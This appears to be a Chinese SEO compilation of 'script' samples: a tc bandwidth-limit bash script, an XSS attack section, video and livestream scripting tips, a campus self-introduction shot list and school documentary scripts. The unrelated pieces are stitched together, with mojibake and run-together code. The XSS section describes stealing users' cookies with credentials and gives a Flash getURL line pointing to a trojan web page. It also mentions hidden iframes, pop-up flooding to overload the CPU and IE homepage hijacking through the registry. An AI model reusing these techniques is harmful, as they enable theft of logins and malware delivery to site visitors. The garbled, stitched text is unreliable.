文字腳本怎么寫范文大全

文字腳本怎么寫范文大全第1篇文字腳本怎么寫范文大全第1篇腳本：寫劇本的人，也叫故事構(gòu)成。

腳本英文為Script。實際上腳本就是程序，一般都是有應(yīng)用程序提供的編程語言。應(yīng)用程序包括瀏覽器（JavaScript、VBScript）、多媒體創(chuàng)作工具，應(yīng)用程序的宏和創(chuàng)作系統(tǒng)的批處理語言也可以歸入腳本之類。腳本同我們平時使用的VB、C語言的區(qū)別主要是：

1、腳本語法比較簡單，比較容易掌握；

2、腳本與應(yīng)用程序密切相關(guān)，所以包括相對應(yīng)用程序自身的功能；

3、腳本一般不具備通用性，所能處理的問題范圍有限。

具體地說，腳本通過利用應(yīng)用程序或工具的規(guī)則和語法來表達(dá)指令，以控制應(yīng)用程序（包括注冊表程序）中各種元素的反應(yīng)，也可以由簡單的控制結(jié)構(gòu)（例如循環(huán)語句和If/Then語句）組成，這些應(yīng)用程序或工具包括網(wǎng)頁瀏覽器（支持VBScript,Jscript），多媒體制作工具，應(yīng)用程序的宏（比如Office的宏）以及我們熟悉的注冊表工具（）等.操作系統(tǒng)中的批處理也可以歸入腳本之列，批處理程序也經(jīng)常由Windows環(huán)境中的_腳本_替換，所以又稱腳本是_Windows時代的批處理_.

腳本的作用在每一種應(yīng)用程序中起的作用都是不一樣的，比如在網(wǎng)頁中可以實現(xiàn)各種動態(tài)效果，各種特效處理，實現(xiàn)各種HTML不能實現(xiàn)的功能.而在Office組件中，我們會經(jīng)常看到_宏_這個工具，它其實就是一系列命令和指令可以實現(xiàn)任務(wù)執(zhí)行的自動化.

文字腳本怎么寫范文大全第2篇以下腳本可用于對服務(wù)器進(jìn)行上傳限速，當(dāng)業(yè)務(wù)使用處于高峰期時，為不影響業(yè)務(wù)的正常使用，限制上傳速度，保證能正常提供服務(wù)，

原理是使用linux中的TC（流量控制模塊）實現(xiàn)限速功能。

腳本的使用如下：

啟動：shstart200(限制上傳速度為200kb/s)

停止：shstop

#!/bin/bash#asimpleexamplefor“tc”#settheparamDELAY=20SPEED=$2FLOW=0#出口網(wǎng)卡NETWORK_CARD=$(iproget|grepeth|awk'{print$5}')#服務(wù)器IPIP_ADDRESS=(){/sbin/tcqdiscadddev${NETWORK_CARD}roothandle1:htbdefault25/sbin/tcclassadddev${NETWORK_CARD}parent1:classid1:1htbrate${SPEED}kbps/sbin/tcqdiscadddev${NETWORK_CARD}parent1:1netemdelay${DELAY}ms${FLOW}ms/sbin/tcfilteradddev${NETWORK_CARD}parent1:protocolipprio1u32matchipdst${IP_ADDRESS}/32flowid1:1}stop(){/sbin/tcqdiscdeledev${NETWORK_CARD}root}case“$1”instart)start;;stop)stop;;*)echo“Usage:`basename$0`{start|stop}speed(kb/s)”esac

文字腳本怎么寫范文大全第3篇XSS攻擊常用腳本，大家可以了解xss攻擊的一些知識做好網(wǎng)站安全防范，

這句代碼將會彈出壹個包含有瀏覽者cookie信息的對話框，如果用戶已經(jīng)通過帳號登陸網(wǎng)站，在顯示的cookie信息中將會包含有用戶的賬戶名和密碼。

3、,當(dāng)用戶瀏覽該頁時，將彈出壹個高200，寬200的網(wǎng)頁窗口，在其中打開的頁面是

4、跨站攻擊的形式是多樣的，不僅可以在網(wǎng)頁中插入跨站腳本代碼，而且可以在flash文件中插入跨站腳本代碼，實現(xiàn)跨站攻擊。由于flash文件有較高的安全性，用戶通常對flash文件的警惕性不夠，因此用flash文件進(jìn)行跨站攻擊的成功率很高。如果將這個含有跨站腳本代碼的flash文件插入到網(wǎng)頁中，例如制作成網(wǎng)頁banner或者廣告，那么中招的用戶將更多。

flash跨站是通過在flash文件中插入動作腳本來實現(xiàn)的，通過在flash文件“幀”的“動作”中插入跨站腳本代碼來實現(xiàn)跨站攻擊，其實現(xiàn)方法入下：

getURL(“網(wǎng)頁木馬地址”,“_blank”,“GET”);

loadMovieNum(“”,0);

5、<iframe.>

這就是傳說中的框架--膜拜吧還有JS也可以使用，比框架更隱蔽

6、Refresh到另壹個頁面：

7、scriptlet引入另壹個頁面：

------------------------------------------------------------------------------------------------------------

下面來幾段長的但是記住要慎用??！

1、打開無數(shù)個瀏覽器窗口，直至CPU超負(fù)荷，非關(guān)機不可：

修改注冊表（IE主頁）：

有時候，

我最后要說的壹句話就是“害人終害己”，切記！

文字腳本怎么寫范文大全第4篇腳本是我們在拍攝視頻的一大依據(jù)，前期的準(zhǔn)備工作、后續(xù)的拍攝、剪輯等都要基于腳本。

簡單來說，就是腳本已設(shè)定好在什么時間、什么地點出現(xiàn)什么畫面，什么人，鏡頭如何運用。可以說，把整個短視頻所涉及到一切東西都已提前計劃好了。

如果沒有腳本，你會發(fā)現(xiàn)拍著拍著，突然發(fā)現(xiàn)場景不對，然后再花花大量時間臨時去找；然后道具也不齊全，演員也不知道到底應(yīng)該怎么演，拍完之后，剪輯師更是一臉懵逼，不知道該依據(jù)什么思路去剪輯。

這么一折騰，整個視頻基本算是廢了。

關(guān)于短視頻平臺新號起步其實還有很多細(xì)節(jié)內(nèi)容，這里沒有辦法一一展開，在這里，我想給想入局短視頻帶貨的人一些建議，先去聽一聽知乎最近開發(fā)的全媒體訓(xùn)練營課程，里面詳細(xì)拆解了各大主流平臺的流量機制，以及打造爆視頻和圖文的底層邏輯。

為什么要推薦這個，因為我覺得不管是自己做副業(yè)，還是做新媒體運營，了解各個平臺現(xiàn)狀以及機制，都是最基本的要求。你得有一點基本的運營思維，才能夠進(jìn)入到這個領(lǐng)域里來。

直播復(fù)盤是非常有利于我們優(yōu)化直播流程，增加直播經(jīng)驗的。在直播的貴哦沉重，我們會運用到一些技巧、套路，但是這些不是一成不變的，針對不同的直播主題、直播間，我們要摸索最適合自己的方式。

同時，當(dāng)我們以看客的身份去回顧直播的時候，往往可以發(fā)現(xiàn)當(dāng)時沒有注意到的問題。針對這些問題我們可以記下來，通過改正錯誤，去優(yōu)化我們下一場直播。

通過分析直播間的數(shù)據(jù)，去總結(jié)優(yōu)點，把有點轉(zhuǎn)化為能力，再以后的直播中延續(xù)下去。

比如，可以觀看整場直播中，哪些時間段用戶的評論、點贊最積極，重點關(guān)注當(dāng)時主播的表現(xiàn)、當(dāng)時所用的套路，分析是什么觸動了用戶，如果是玩法有效的話，之后可以多次使用。

PS：湖主給大家準(zhǔn)備了直播腳本的模板及三個品牌的參考腳本。

孩子慢慢嚼完后，對媽媽說：“這個最甜的，給媽媽！”此時母親眼中泛起一絲淚光，微笑的點了點頭。并抱住孩子】這就是一個簡單的15秒短視頻的腳本，一開始就直入主題，人物是母子，表達(dá)了我們這個短視頻是和親情有關(guān)。

2、詳細(xì)敘事，引出價值（分）

我們接著上面的短劇腳本為例。我們這個故事就是母親像讓孩子給自己一個蘋果，但是孩子把兩個蘋果各自咬了一口，母親顯得很失落，但是孩子卻是替母親嘗哪個蘋果更甜，他想把最好的給母親。這里就出現(xiàn)了轉(zhuǎn)折，也讓這個短片更加的有故事性！這也引出了我們的價值。體現(xiàn)孝心，傳播了正能量！

腳本制作案例！未參考文中案例

3、結(jié)尾，表達(dá)價值觀

結(jié)尾就比較容易了，把你準(zhǔn)備好要表達(dá)的價值觀表達(dá)出來就可以了！以上面的例子為例，我們可以在片尾配短暖心的字幕，在母親抱著孩子的那幾秒就可以加上?；蛘吲湟欢闻园?。比如：你有沒有給過賦予你生命的人最甜的蘋果！不僅突出孝心，還會影響社會的反思。我們是不是有孝順過我們的父母，有沒有把你最好的東西送給你的父母！

二、人物場景的設(shè)定。

在腳本中除了內(nèi)容還不要將人物和場景仔細(xì)刻畫，不僅僅要貼合劇情發(fā)展還要充分發(fā)揮出特點，還要從側(cè)面突出主題。

1、人物刻畫

人物刻畫最多的是不需要臺詞的部分，通過詳細(xì)的人物表情和肢體語言動作描述出劇情當(dāng)時的模樣和劇情的走向?？梢允∪ズ芏嗟匿亯|，直擊當(dāng)時的狀態(tài)和事件主題。比如上面的母親，為了家庭在外奔波忙累，我們可以聯(lián)想到母親當(dāng)時的心情?？隙ㄊ窍Ｍ诩依锟梢苑畔聣毫Φ玫綔嘏男膽B(tài)！依照劇情走向，母親的表情一定是從疲憊-期待-沮喪-感動這樣的心里路程的！所以我們在刻畫人物的時候一定要細(xì)致。

人物刻畫腳本，未引用文中案例

2、場景

場景布置也是非常重要的，同人物刻畫一樣，好的場景布置也是節(jié)省很多的事件，省去前期的鋪墊，但是在短視頻中，大多數(shù)的場景是貫穿全劇的，從開篇到結(jié)束，都是一個場景，像15秒的短劇，要寫出故事，突出主題，不可能頻繁切換場景。接著上面的例子，母子二人的場景應(yīng)該是個不大的房子，背景因該是個單身母親帶著孩子，兩人相依為命的住在蝸居中，場景的燈光應(yīng)該也是暖色的，這些場景都是能更加襯托出親情的可貴。如果我們把場景設(shè)置在一個別墅之中，明亮的白光，大大的桌子和沙發(fā)。就和我們的劇情發(fā)展有些不入格了，所以在場景的布置上一定要貼合故事的內(nèi)容。外景也是如此。

果盤道具

三、臺詞與旁白

腳本的第三部分就是臺詞和旁白了。臺詞這點我覺得較簡單的，將人物的對話分別記錄下來即可,但是臺詞要盡量簡明扼要。長臺詞可適度精簡一下。旁白的話比較有難度，文科生還好，要是覺得旁白不會寫的話，建議你去百度一下，看看有沒有形容你的主旨的詩句。找到合適你即可。比如我們今天的例子，主旨是孝順。我們就可以去百度描寫孝順的詩句?？纯茨蔷溽屃x跟你的劇情比較像的就好了。

臺詞，旁白，音效案例

本期呢我們通過舉例的方式，也帶領(lǐng)大家一起把房子的框架搭建好了，不知道大家有沒有學(xué)會呢？沒學(xué)會沒關(guān)系，收藏起來多看幾遍。既然框架已近搭建完成。我們明天就來教大家如何拆分步驟，制定施工方案，準(zhǔn)備為我們“房子“添磚加瓦！

因為單品腳本相對無腦，所以關(guān)于直播腳本怎么寫，今天我們主要來說說整場直播腳本怎么寫？

首先給各位看幾個大牌子的直播腳本模板：

發(fā)現(xiàn)沒有，整場直播腳本往往一般都會包含時間、地點、商品數(shù)量、直播主題、主播、預(yù)告文案、場控、直播流程（時間段）等幾個要素。

無腦的說，想要了解直播腳本怎么寫，根據(jù)這些直播腳本模板，直接把自己的直播消息往里面填就ok了！

時間、地點、主題、主播不用多說，根據(jù)字面意思往表格里面填寫就可。

關(guān)于直播腳本怎么寫，我想跟你重要時機說說的只是直播流程。

直播流程包括仔細(xì)的時間節(jié)點以及在該時間節(jié)點主播要做的事和說的話。

單場直播成本控制，中小賣家可能預(yù)算有限，腳本中可以提前設(shè)計好能承受的優(yōu)惠券面額或者是秒殺活動，贈品支出等。提前控制直播預(yù)算。

02直播腳本分類

對于直播電商來說，直播腳本一般可以分為單品直播腳本和整場直播腳本。

單品腳本顧名思義就是針對單個產(chǎn)品的腳本。以單個商品為單位，規(guī)范商品的解說，突出商品賣點。

因為一場直播一般會持續(xù)2~6個小時。大多數(shù)直播間都會推薦多款產(chǎn)品。

每一款產(chǎn)品定制一份簡單的單品直播腳本，以表格的形式，將產(chǎn)品的賣點和優(yōu)惠活動標(biāo)注清楚，可以避免主播在介紹產(chǎn)品時手忙腳亂，混淆不清。

也更能幫助主播精準(zhǔn)、有效的給直播間粉絲傳遞產(chǎn)品的特色和價格優(yōu)勢。

單品腳本內(nèi)容一般包括產(chǎn)品品牌介紹，產(chǎn)品賣點介紹，利益點強調(diào)、促銷活動、催單話術(shù)等。

以服裝為例，單品腳本就要在表格里面詳細(xì)的描述清楚衣服的尺碼、面料、顏色、版型、搭配要點等細(xì)節(jié)特點。

還有最重要的一點就是凸顯價格優(yōu)勢，及時回答粉絲的問題。從這些預(yù)設(shè)的維度，所有東西講解完的話，基本上寶貝也講解的非常到位了。

整場直播腳本就是以整場直播為單位，規(guī)范正常直播節(jié)奏流程和內(nèi)容。

詳細(xì)的整場直播腳本怎么寫，請繼續(xù)往下看：

03直播腳本怎么寫

因為單品腳本相對簡單，所以關(guān)于直播腳本怎么寫，今天我們主要來說說整場直播腳本怎么寫？

首先給大家看幾個大品牌的直播腳本模板：

發(fā)現(xiàn)沒有，整場直播腳本一般都會包含時間、地點、商品數(shù)量、直播主題、主播、預(yù)告文案、場控、直播流程（時間段）等幾個要素。

簡單的說，想要知道直播腳本怎么寫，按照這些直播腳本模板，直接把自己的直播信息往里面填就ok了！

時間、地點、主題、主播不用多說，按照字面意思往表格里面填寫即可。

關(guān)于直播腳本怎么寫，我想跟你重點說說的就是直播流程。

直播流程包括詳細(xì)的時間節(jié)點以及在該時間節(jié)點主播要做的事和說的話。

文字腳本怎么寫范文大全第5篇自我介紹的腳本

遠(yuǎn)景、近景、中景、特寫、全景

1、從路上走向鏡頭固定鏡頭中景2S

2、介紹自己我叫馮婷，來自江西贛州。固定鏡頭近景3S

3、圖書館門前固定鏡頭全景1S

4、走進(jìn)圖書館推鏡頭2S

5、坐在圖書館的沙發(fā)上看書固定鏡頭5S

6、自我介紹“我喜歡看書，喜歡在圖書館這種安靜的環(huán)境下看書?！?S

7、圖書館的環(huán)境搖鏡頭全景2S

8、抱著書走出圖書館固定鏡頭中景3S

9、宿舍里書桌上的書搖鏡頭全景2S

10、拿著PS書，“我們學(xué)了PS，除了做做書上的作業(yè)之外，也會自己處理自己的照片啊什么的，偶爾也會惡搞?！惫潭ㄧR頭近景7S

11、電腦屏幕――在做PS的作業(yè)固定鏡頭全景2S

12、自己在偷著笑固定鏡頭特寫1S

13、在電腦前用PS惡搞朋友們的照片固定鏡頭近景3S

14、自己在玩FLASH小游戲固定鏡頭中景2S

15、游戲的相關(guān)介紹固定鏡頭特寫1S

16、手拿FLASH的書“其實，是想學(xué)點FLASH的制作?！惫潭ㄧR頭近景4S

17、實驗室的門口的牌子固定鏡頭特寫2S

18、實驗室的環(huán)境固定鏡頭全景3S

19、做在計算機前介紹“平時，我們就是在這上PS和FLASH課的，學(xué)校給我們提供了很好的`學(xué)習(xí)環(huán)境?！?S

20、在教室上計算機維護(hù)與維修認(rèn)真的聽課推鏡頭3S

21、筆記本上的筆記固定鏡頭特寫3S

22、計算機維護(hù)與維修實驗室固定鏡頭特寫2S

23、上計算機維護(hù)與維修實驗課的時候，忙著做實驗固定鏡頭中景3S

24、學(xué)校的大門口固定鏡頭近景2S

25、邊走在路上邊總結(jié)“在大學(xué)里，我始終認(rèn)真的在學(xué)習(xí)新的知識，我覺得很有趣?！崩R頭全景7S

26、做在草地上“平時的我，也喜歡一些運動，跑步啦，還有羽毛球。”固定鏡頭近景3S

27、早晨，在洗漱固定鏡頭中景3S

28、走出宿舍固定鏡頭中景2S

29、跑步的背影，從學(xué)校后門開始固定鏡頭全景2S

30、從陶藝中心跑步回來拉鏡頭中景3S

31、推宿舍門固定鏡頭中景2S

32、拿著書去出去了固定鏡頭中景2S

33、自習(xí)室固定鏡頭特寫1S

34、走進(jìn)自習(xí)室固定鏡頭近景3S

35、在自習(xí)室讀書固定鏡頭近景2S

36、羽毛球場上“平時，我也喜歡打羽毛球?！睋u鏡頭全景3S

37、和朋友拿著羽毛球拍從宿舍門口出來了推鏡頭中景2S

38、在路上和朋友聊著走向羽毛球場推鏡頭中景3S

39、先是掛羽毛球網(wǎng)固定鏡頭全景3S

40、開始打球我開始發(fā)球固定鏡頭近景3S

41、朋友等待接球固定鏡頭近景2S

42、朋友在接球搖鏡頭中景3S

43、我們開心的打球固定鏡頭全景3S

44、我們和打球的人一起坐在草地上休息，聊天固定鏡頭全景3S

45、?；塾螛穲@里的燒烤園“我節(jié)假日在這打工?！惫潭ㄧR頭特寫2S

46、在石板凳上準(zhǔn)備一天要燒烤的東西固定鏡頭特寫3S

文字腳本怎么寫范文大全第6篇校長電視專題片腳本

人們常說：一個好校長就是一所好學(xué)校。南城縣第一小學(xué)校長曹華庚就是這樣一位有都著務(wù)實的工作作風(fēng)、先進(jìn)的教育理念和強烈的公仆精神的好校長。他以自己獨特治校方略和管理方式，短短三年來，將一所基礎(chǔ)差、底子薄的城區(qū)新學(xué)校辦出特色，被人們稱為“三?！毙ｉL。

“拓荒?！钡匿J氣打造“綠色”學(xué)校

曹華庚，1988年參加工作以來，先后擔(dān)任縣實驗小學(xué)教導(dǎo)主任、副校長等職務(wù)。7月，曹華庚憑著自己的實力，成為南城縣首位競聘上崗的校長。從走上校長崗位的第一天起，曹華庚堅信一定要把南城一小辦好、辦出特色。上任之初，曹華庚結(jié)合本?，F(xiàn)狀，確定“快樂學(xué)習(xí)、健康成長、全面發(fā)展”的新時期學(xué)校的辦學(xué)理念，打造“擇善而行、登高致遠(yuǎn)”的校園文化--“擇善而行”：引領(lǐng)全體師生擇善書而讀，擇善人而交，擇善言而聽，擇善事而為，擇善行而從，與善為友，攜手良善；“登高致遠(yuǎn)”：激勵全體師生要胸懷大志，志存高遠(yuǎn)。

剛剛建成的南城縣第一小學(xué)，只有區(qū)區(qū)兩幢教學(xué)大樓，校園的綠化、操場等其他設(shè)施設(shè)備還沒有完善，教育教學(xué)管理一切從頭做起。為改變現(xiàn)狀，曹華庚身先士卒，白天，他帶領(lǐng)教師栽樹植草，搬磚填土；晚上，他和值班老師忍受著蚊蟲的叮咬、高溫的烘烤、黑夜的煎熬，興致盎然地探討學(xué)校定位、發(fā)展方向、三年規(guī)劃等一系列的話題。為了搞好教學(xué)，他走進(jìn)課堂和老師探討。為了搞好學(xué)校管理，他常常伏案工作到深夜。為了啟動學(xué)校二期工程建設(shè)，他來往奔波……老師們被他的這種忘我工作的精神深深感動著--

（同期聲）南城縣第一小學(xué)教師曾燕平：“三年過去了，我們大家還清楚地記得，建校之初，曹校長什么事都親歷親為，沖洗教室，購置教學(xué)設(shè)備等……”南城縣第一小學(xué)教師黃新晟：“雖然只需10多分鐘，他就可以回到自己的家，但從星期一到周末一半以上的時間，他都在學(xué)校里住宿，沒有宿舍，他就睡在教室里……”

“亂收費、亂補課、亂訂教輔資料”現(xiàn)象，一直是社會關(guān)注的熱點問題。他從警示教育入手，認(rèn)真開展師德師風(fēng)大討論，和教師簽訂《師德師風(fēng)責(zé)任書》，并向家長作出公開承諾。到目前，該校無一例亂收費現(xiàn)象、無一例亂補課行為、無一例亂訂教輔資料事件、無一例家長或社會投訴。

“一份付出，一份收獲”，在他和全校教師們共同的努力下，如今，走進(jìn)校園，綠草如茵、鳥語花香，榮譽墻上各種獎牌熠熠生輝，學(xué)校管理井然有序。

“孺子牛”的情懷溫暖師生心田

身為校長的曹華庚，不僅帶頭搞好教學(xué)，對師生更是投入無微不至的關(guān)懷。

在第一小學(xué)這個大家庭里，哪位老師有困難、哪位學(xué)生有艱辛，曹華庚總是第一個出現(xiàn)在他們身邊，孩子們都把他當(dāng)成“親爸爸”，老師們都把他當(dāng)作“好兄長”。

學(xué)校五年級三班的章潤同學(xué)是位留守兒童，母親早逝，父親在外打工，章潤只能跟著70多歲的老奶奶一起生活，因為缺少父母關(guān)愛，章潤性格孤僻，學(xué)習(xí)成績一直上不去。曹華庚了解情況后，主動和章潤結(jié)成幫扶“對子”，有事沒事經(jīng)常去章潤家走動，不時送一些課外書和學(xué)習(xí)用品給他，并且在章潤所在的班級成立了幫扶小組，讓同學(xué)們主動和他交朋友，輔導(dǎo)他的學(xué)習(xí)，現(xiàn)在的章潤不但性格開朗，而且學(xué)習(xí)成績也節(jié)節(jié)攀升。

（同期聲）南城縣第一小學(xué)學(xué)生章潤：“曹校長和同學(xué)們都對我很好，我在這里讀書，好像是在一個大家庭里生活，我感到很幸福！”

在曹華庚的帶動下，全校所有老師都主動和班上的留守學(xué)生結(jié)成了對子，把學(xué)生當(dāng)成自己的孩子，把家長當(dāng)親人，有力地促進(jìn)了教育教學(xué)事業(yè)的發(fā)展，樹立了南城一小良好的對外形象。

因為是新學(xué)校，條件艱苦而且待遇不高，青年教師張正良一度產(chǎn)生了去海南教學(xué)的念頭。為了留住有限的師資力量，曹華庚在工作生活上，像兄長一樣對他處處關(guān)心，經(jīng)常與他一起探討學(xué)校的定位、辦學(xué)思路、規(guī)劃發(fā)展……

（同期聲）南城縣第一小學(xué)教師張正良：“雖然在私立學(xué)校的待遇比這邊要高得多，但是，曹校長用真情留住了我，讓我覺得留下來比出去要好，也是曹校長讓我看到了學(xué)校發(fā)展的希望，我有信心在曹校長的帶領(lǐng)下把南城一小辦成一所名?！?/p>

“老黃?！钡膱?zhí)著推動教學(xué)提升

曹華庚說他從邊遠(yuǎn)的農(nóng)村來，有著農(nóng)村人的`質(zhì)樸與勤奮。而在第一小學(xué)所有的師生們眼中，他就像田野間默默耕耘的“老黃?！保瞰I(xiàn)，不求索取。

為了在老師中間形成良好的“趕幫超”態(tài)勢，曹校長親自搭臺讓老教師與年輕教師在一起唱戲，讓每位老師除了上好自己的課外，還互相聽課，取長補短。他只要有時間就走進(jìn)課堂聽課，與老師共同探討。在校長的親身引領(lǐng)下，在老師們中間形成了互相學(xué)習(xí)、共同提高、積極向上的良好氛圍。

（同期聲）南城縣第一小學(xué)教師段秀珍：“校長工作那么繁忙，他還能靜心聽課，認(rèn)真研討，作為老師，我們沒有理由不做好自己的本職工作?！?/p>

于是，南城一小的老師們忙碌了、充實了，他們工作的目標(biāo)更明確了，勁頭更足了。上課之余，老師談的是學(xué)生，聊的是課堂的得失，大家互幫互學(xué)，爭相比進(jìn)步。同時，他又創(chuàng)造性地在開展語文、數(shù)學(xué)科“同課異構(gòu)三個一”（說課、上課、評課）系列化教研活動，采取“走出去、請進(jìn)來”的辦法讓教師在名師引領(lǐng)下，實現(xiàn)專業(yè)化成長。在曹華庚帶領(lǐng)一班人指導(dǎo)下，余麗娜老師更是成為江西省20唯一參加在成都舉行的全國優(yōu)質(zhì)課競賽。三年來，該校黎燕、封衛(wèi)東、邱遠(yuǎn)等十多名教師先后代表省、市、縣參加各類教學(xué)競賽，并取得優(yōu)異成績。學(xué)校也先后獲得了“語言文字規(guī)范化示范?！薄捌桨残@示范?！薄跋冗M(jìn)集體”“師德師風(fēng)示范?！钡葒?、省、市共十多項榮譽稱號，并由省教育廳向教育部推薦申請“全國書寫特色學(xué)?！?。他本人先后獲省“骨干教師”、省“優(yōu)秀學(xué)科指導(dǎo)教師”、市“優(yōu)秀教師”、市“學(xué)科帶頭人”、市“民族團(tuán)結(jié)進(jìn)步模范個人”、縣首屆“十大教壇精英”之“優(yōu)秀校長”、縣“十佳教學(xué)能手”等稱號。9月，曹校長被推選為市教育系統(tǒng)先進(jìn)人物，在全市巡回演講。

（同期聲）南城縣第一小學(xué)教師朱素華：“一想到上班，我就覺得是件充實的事、幸福的事……”南城縣第一小學(xué)教師江根林：“曹校長就是一所好學(xué)校，充滿著人格感染力，學(xué)也學(xué)不完……”南城縣第一小學(xué)校長曹華庚：“正如蘇霍姆林斯基所說，我愿意首先成為學(xué)校文化和思想的引領(lǐng)者，也愿意成為學(xué)生快樂成長、老師幸福施教、學(xué)校綠色發(fā)展的服務(wù)者。以拓荒牛的銳氣和堅韌，以孺子牛的溫情和智慧，以老黃牛的執(zhí)著和勤勉，努力把南城縣第一小學(xué)辦成一所優(yōu)質(zhì)的、人民群眾滿意的學(xué)校?！?/p>

在未來的歲月里，這位秉承“踏實做事，謙卑做人”原則的校長，一定會在這條神圣的教育之路上走得更遠(yuǎn)，為教育事業(yè)書寫更華麗的篇章！

20xx年6月底

文字腳本怎么寫范文大全第7篇電視專題片腳本

巍巍佛頂山，云蒸霞蔚氣象萬千；滔滔龍底江，碧波蕩漾風(fēng)景秀麗。

中國溫泉之鄉(xiāng)、中國苔茶之鄉(xiāng)、紅二六軍團(tuán)兩次經(jīng)過并浴血奮戰(zhàn)的革命老區(qū)--石阡，美麗的石阡民族中學(xué)坐落在美麗的龍底江畔。

這是一所有深厚歷史底蘊的學(xué)校。起源于1951年簡陋的教師速成訓(xùn)練班，60年滄桑巨變，從小學(xué)到七年制、八年制帶帽初中，到完全中學(xué)，到獨立高中，七易校名，七度改制，經(jīng)歷了初等教育和中等教育的幾乎所有辦學(xué)體制。

這，又是一所年輕而有朝氣的學(xué)校。走進(jìn)民族中學(xué)的行列僅僅18個年頭，就獲得國家、省、地、縣各級各類獎勵、表彰四百多項，先后被命名為全國群眾體育先進(jìn)單位，全國貫徹《學(xué)校體育》優(yōu)秀學(xué)校，全國德育科研先進(jìn)實驗學(xué)校，全國作文教學(xué)先進(jìn)單位，“創(chuàng)新寫作教學(xué)研究與實驗”實驗學(xué)校，貴州省高中綜合實踐課試點學(xué)校，貴州省青少年業(yè)余訓(xùn)練先進(jìn)單位，貴州省民族團(tuán)結(jié)進(jìn)步先進(jìn)單位，貴州省紅旗團(tuán)委創(chuàng)建單位，銅仁地區(qū)體育傳統(tǒng)項目學(xué)校，銅仁地區(qū)示范性普通高中。

石阡民族中學(xué)，有在校學(xué)生3300余人，開設(shè)53個教學(xué)班。229名教職工中，有專任教師191人，其中高級教師56人，中學(xué)一級教師86人，省地縣骨干教師21人，受省部級表彰教師3人，縣管專家1人。

為擴大規(guī)模，提升品位，搶占教育現(xiàn)代化制高點，辦人民滿意的教育，縣委、縣人民政府規(guī)劃投入資金億元，組織實施民族中學(xué)搬遷。8月，搬遷工程破土動工，3月一期工程基本完成，兩年就實現(xiàn)了整體搬遷。新校區(qū)占地面積106193平方米，建筑面積43090平方米，綠化面積47600平方米，有全地區(qū)唯一的400米塑膠運動場。校園布局合理，功能齊全，環(huán)境優(yōu)美。

在“以質(zhì)量促發(fā)展，以特色創(chuàng)品牌”的辦學(xué)理念下，石阡民族中學(xué)確立了“弘揚民族民間文化，發(fā)展學(xué)生個性特長”的辦學(xué)目標(biāo)，提煉出“明德修身，知行合一”的校訓(xùn)。教師“嚴(yán)謹(jǐn)治學(xué)、因材施教”，學(xué)生“博學(xué)深思，勵志篤行”，整個校園洋溢著“團(tuán)結(jié)勤奮、求實創(chuàng)新”的精神風(fēng)貌。

以質(zhì)量促發(fā)展，是石阡民族中學(xué)的立校之本。

、、連續(xù)3年全縣高考理科狀元都出自石阡民族中學(xué)。，石阡民族中學(xué)高考取得重大突破，211工程院校錄取63人，本科院校共計錄取359人，升學(xué)率達(dá)。教育教學(xué)質(zhì)量年年上升，《銅仁日報》曾以《三類生源，一流質(zhì)量》為題，探求石阡民族中學(xué)是怎樣火起來的'。

以特色創(chuàng)品牌，是石阡民族中學(xué)的強校之因。

建校之初，民中人提出創(chuàng)辦特色學(xué)校，